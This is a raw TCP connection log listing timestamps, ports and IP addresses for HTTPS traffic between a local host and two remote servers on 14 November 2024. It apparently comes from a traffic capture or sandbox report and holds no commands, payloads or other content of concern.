Nov 14, 2024 20:43:31.249569893 CET	49887	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:31.249571085 CET	49887	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:31.249577045 CET	443	49887	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.249583960 CET	443	49887	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.313961983 CET	49892	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:31.314006090 CET	443	49892	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.314074993 CET	49892	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:31.314363956 CET	443	49888	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.314443111 CET	443	49888	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.316435099 CET	49888	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:31.321309090 CET	49893	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:31.321396112 CET	443	49893	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:31.321475029 CET	49893	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:31.321748018 CET	49893	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:31.321787119 CET	443	49893	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:31.322349072 CET	49894	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:31.322376013 CET	443	49894	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.322453022 CET	49894	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:31.322757006 CET	49888	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:31.322757006 CET	49888	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:31.322782040 CET	443	49888	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.322804928 CET	443	49888	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.322896004 CET	49895	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:31.322990894 CET	443	49895	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.323066950 CET	49895	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:31.323241949 CET	49895	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:31.323275089 CET	443	49895	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.323405027 CET	49892	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:31.323424101 CET	443	49892	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.323577881 CET	49894	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:31.323590040 CET	443	49894	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.324690104 CET	49896	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:31.324723959 CET	443	49896	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.324928999 CET	49896	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:31.325033903 CET	49896	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:31.325048923 CET	443	49896	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.504731894 CET	443	49889	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.505203009 CET	49889	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:31.505285025 CET	443	49889	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.505611897 CET	49889	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:31.505626917 CET	443	49889	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.542237997 CET	443	49891	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:31.542491913 CET	49891	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:31.542510033 CET	443	49891	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:31.544167995 CET	443	49891	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:31.544239998 CET	49891	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:31.545229912 CET	443	49890	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:31.545234919 CET	49891	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:31.545322895 CET	443	49891	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:31.545480013 CET	49890	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:31.545542955 CET	443	49890	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:31.545558929 CET	49891	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:31.545568943 CET	443	49891	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:31.546971083 CET	443	49890	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:31.547048092 CET	49890	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:31.547846079 CET	49890	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:31.547930002 CET	443	49890	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:31.595688105 CET	49890	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:31.595719099 CET	443	49890	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:31.595844984 CET	49891	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:31.633455992 CET	443	49889	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.633541107 CET	443	49889	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.633620977 CET	49889	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:31.633785009 CET	49889	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:31.633785009 CET	49889	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:31.633815050 CET	443	49889	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.633838892 CET	443	49889	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.636181116 CET	49897	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:31.636214972 CET	443	49897	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.636271954 CET	49897	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:31.636435032 CET	49897	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:31.636444092 CET	443	49897	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.645677090 CET	49890	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:31.988842010 CET	443	49891	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:31.989521980 CET	443	49893	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:31.989765882 CET	49893	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:31.989829063 CET	443	49893	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:31.993412018 CET	443	49893	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:31.993491888 CET	49893	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:31.993849039 CET	49893	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:31.993946075 CET	49893	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:31.994085073 CET	443	49893	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:32.038444042 CET	49891	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:32.038465023 CET	443	49891	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:32.038620949 CET	49893	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:32.038682938 CET	443	49893	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:32.039364100 CET	49891	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:32.039464951 CET	443	49891	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:32.039783955 CET	443	49891	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:32.039846897 CET	49891	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:32.039865971 CET	49891	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:32.053034067 CET	443	49896	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.054214001 CET	49896	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.054214001 CET	49896	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.054308891 CET	443	49896	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.054348946 CET	443	49896	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.062752008 CET	443	49894	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.063251019 CET	49894	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.063281059 CET	443	49894	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.063569069 CET	49894	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.063577890 CET	443	49894	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.067970991 CET	443	49895	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.068432093 CET	49895	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.068463087 CET	443	49895	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.068764925 CET	49895	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.068770885 CET	443	49895	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.074758053 CET	443	49892	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.075216055 CET	49892	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.075234890 CET	443	49892	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.075546980 CET	49892	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.075553894 CET	443	49892	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.084528923 CET	49893	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:32.181282043 CET	443	49896	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.181427002 CET	443	49896	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.181641102 CET	49896	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.181641102 CET	49896	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.181706905 CET	49896	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.181725025 CET	443	49896	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.184192896 CET	49898	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.184235096 CET	443	49898	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.184406996 CET	49898	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.184578896 CET	49898	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.184592009 CET	443	49898	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.192922115 CET	443	49894	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.193084002 CET	443	49894	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.193161964 CET	49894	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.193205118 CET	49894	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.193205118 CET	49894	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.193224907 CET	443	49894	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.193238020 CET	443	49894	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.195761919 CET	49899	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.195790052 CET	443	49899	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.195863008 CET	49899	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.195955992 CET	49899	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.195965052 CET	443	49899	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.202168941 CET	443	49895	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.202351093 CET	443	49895	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.202439070 CET	49895	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.202507019 CET	49895	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.202507019 CET	49895	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.202538967 CET	443	49895	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.202564955 CET	443	49895	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.203051090 CET	443	49892	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.203187943 CET	443	49892	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.203274965 CET	49892	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.203356028 CET	49892	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.203365088 CET	443	49892	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.203377008 CET	49892	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.203382969 CET	443	49892	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.205595970 CET	49900	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.205637932 CET	443	49900	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.205753088 CET	49900	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.205841064 CET	49900	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.205858946 CET	443	49900	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.206897974 CET	49901	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.206923008 CET	443	49901	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.206983089 CET	49901	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.207110882 CET	49901	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.207127094 CET	443	49901	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.341042995 CET	443	49893	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:32.371695042 CET	443	49897	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.372232914 CET	49897	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.372258902 CET	443	49897	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.372703075 CET	49897	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.372708082 CET	443	49897	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.395036936 CET	49893	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:32.395098925 CET	443	49893	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:32.396554947 CET	49893	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:32.396735907 CET	443	49893	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:32.397128105 CET	49893	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:32.397340059 CET	49902	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:32.397375107 CET	443	49902	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:32.397464991 CET	49902	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:32.397663116 CET	49902	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:32.397670031 CET	443	49902	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:32.515027046 CET	443	49897	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.515111923 CET	443	49897	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.515269995 CET	49897	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.515316010 CET	49897	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.515336037 CET	443	49897	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.515347004 CET	49897	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.515352011 CET	443	49897	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.518644094 CET	49903	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.518661976 CET	443	49903	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.518723011 CET	49903	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.518863916 CET	49903	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.518873930 CET	443	49903	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.918395042 CET	443	49898	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.918991089 CET	49898	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.919076920 CET	443	49898	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.919248104 CET	49898	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.919265985 CET	443	49898	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.933664083 CET	443	49899	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.933985949 CET	49899	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.934003115 CET	443	49899	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.934406996 CET	49899	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.934412003 CET	443	49899	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.938491106 CET	443	49901	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.939078093 CET	49901	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.939099073 CET	443	49901	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.940761089 CET	49901	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.940771103 CET	443	49901	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.948652983 CET	443	49900	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.948946953 CET	49900	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.948991060 CET	443	49900	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:32.949275017 CET	49900	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:32.949289083 CET	443	49900	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.050575972 CET	443	49898	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.050662994 CET	443	49898	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.050848961 CET	49898	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.050849915 CET	49898	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.050970078 CET	49898	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.051007986 CET	443	49898	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.053251982 CET	49904	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.053294897 CET	443	49904	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.053369045 CET	49904	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.053510904 CET	49904	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.053520918 CET	443	49904	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.065500975 CET	443	49899	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.067375898 CET	443	49899	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.067437887 CET	49899	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.067466974 CET	49899	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.067477942 CET	443	49899	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.067487001 CET	49899	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.067491055 CET	443	49899	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.069770098 CET	49905	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.069855928 CET	443	49905	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.069987059 CET	49905	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.070146084 CET	49905	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.070183992 CET	443	49905	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.072101116 CET	443	49901	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.072266102 CET	443	49901	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.072357893 CET	49901	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.072407007 CET	49901	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.072407007 CET	49901	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.072422028 CET	443	49901	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.072427034 CET	443	49901	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.074532986 CET	49906	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.074553013 CET	443	49906	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.074610949 CET	49906	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.074748993 CET	49906	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.074757099 CET	443	49906	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.084654093 CET	443	49900	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.084717989 CET	443	49900	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.084800005 CET	49900	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.084912062 CET	49900	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.084912062 CET	49900	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.084944963 CET	443	49900	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.084950924 CET	443	49900	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.087404013 CET	49907	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.087420940 CET	443	49907	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.087476969 CET	49907	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.087599039 CET	49907	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.087616920 CET	443	49907	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.093729019 CET	443	49902	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:33.093972921 CET	49902	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:33.093986034 CET	443	49902	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:33.095905066 CET	443	49902	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:33.095992088 CET	49902	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:33.096589088 CET	49902	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:33.096668959 CET	443	49902	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:33.097213030 CET	49902	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:33.097218990 CET	443	49902	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:33.143471003 CET	49902	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:33.265647888 CET	443	49903	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.274547100 CET	49903	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.274578094 CET	443	49903	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.280411959 CET	49903	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.280425072 CET	443	49903	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.408127069 CET	443	49903	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.408305883 CET	443	49903	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.409104109 CET	49903	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.750895977 CET	49903	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.750895977 CET	49903	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.750916004 CET	443	49903	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.750922918 CET	443	49903	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.785291910 CET	443	49904	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.788759947 CET	443	49902	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:33.788944960 CET	443	49902	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:33.789000988 CET	49902	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:33.809737921 CET	443	49905	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.819677114 CET	443	49907	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.831743002 CET	443	49906	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.835999012 CET	49904	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.844647884 CET	49906	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.844711065 CET	443	49906	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.849771023 CET	49906	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.849776030 CET	443	49906	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.851877928 CET	49905	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.858926058 CET	49907	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.859010935 CET	443	49907	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.864864111 CET	49907	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.864919901 CET	443	49907	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.870100021 CET	49905	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.870114088 CET	443	49905	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.871016026 CET	49905	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.871069908 CET	443	49905	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.871989965 CET	49902	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:33.872005939 CET	443	49902	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:33.872673988 CET	49904	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.872678041 CET	443	49904	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.873369932 CET	49904	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.873373032 CET	443	49904	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.875962019 CET	49908	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.875984907 CET	443	49908	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.876048088 CET	49908	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.876218081 CET	49908	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.876229048 CET	443	49908	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.978615046 CET	443	49906	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.982399940 CET	443	49906	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.982471943 CET	49906	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.982553005 CET	49906	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.982568026 CET	443	49906	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.982579947 CET	49906	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.982584953 CET	443	49906	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.985732079 CET	49909	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.985778093 CET	443	49909	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:33.985851049 CET	49909	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.986037016 CET	49909	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:33.986078978 CET	443	49909	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.005047083 CET	443	49904	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.005513906 CET	443	49904	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.005597115 CET	49904	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:34.011035919 CET	49904	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:34.011049032 CET	443	49904	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.011061907 CET	49904	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:34.011066914 CET	443	49904	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.014832973 CET	49910	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:34.014858961 CET	443	49910	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.014920950 CET	49910	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:34.015106916 CET	49910	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:34.015121937 CET	443	49910	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.093029022 CET	443	49907	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.093112946 CET	443	49907	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.093189001 CET	49907	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:34.093491077 CET	49907	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:34.093509912 CET	443	49907	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.099385023 CET	49911	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:34.099473953 CET	443	49911	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.099581957 CET	49911	443	192.168.2.4	13.107.246.45
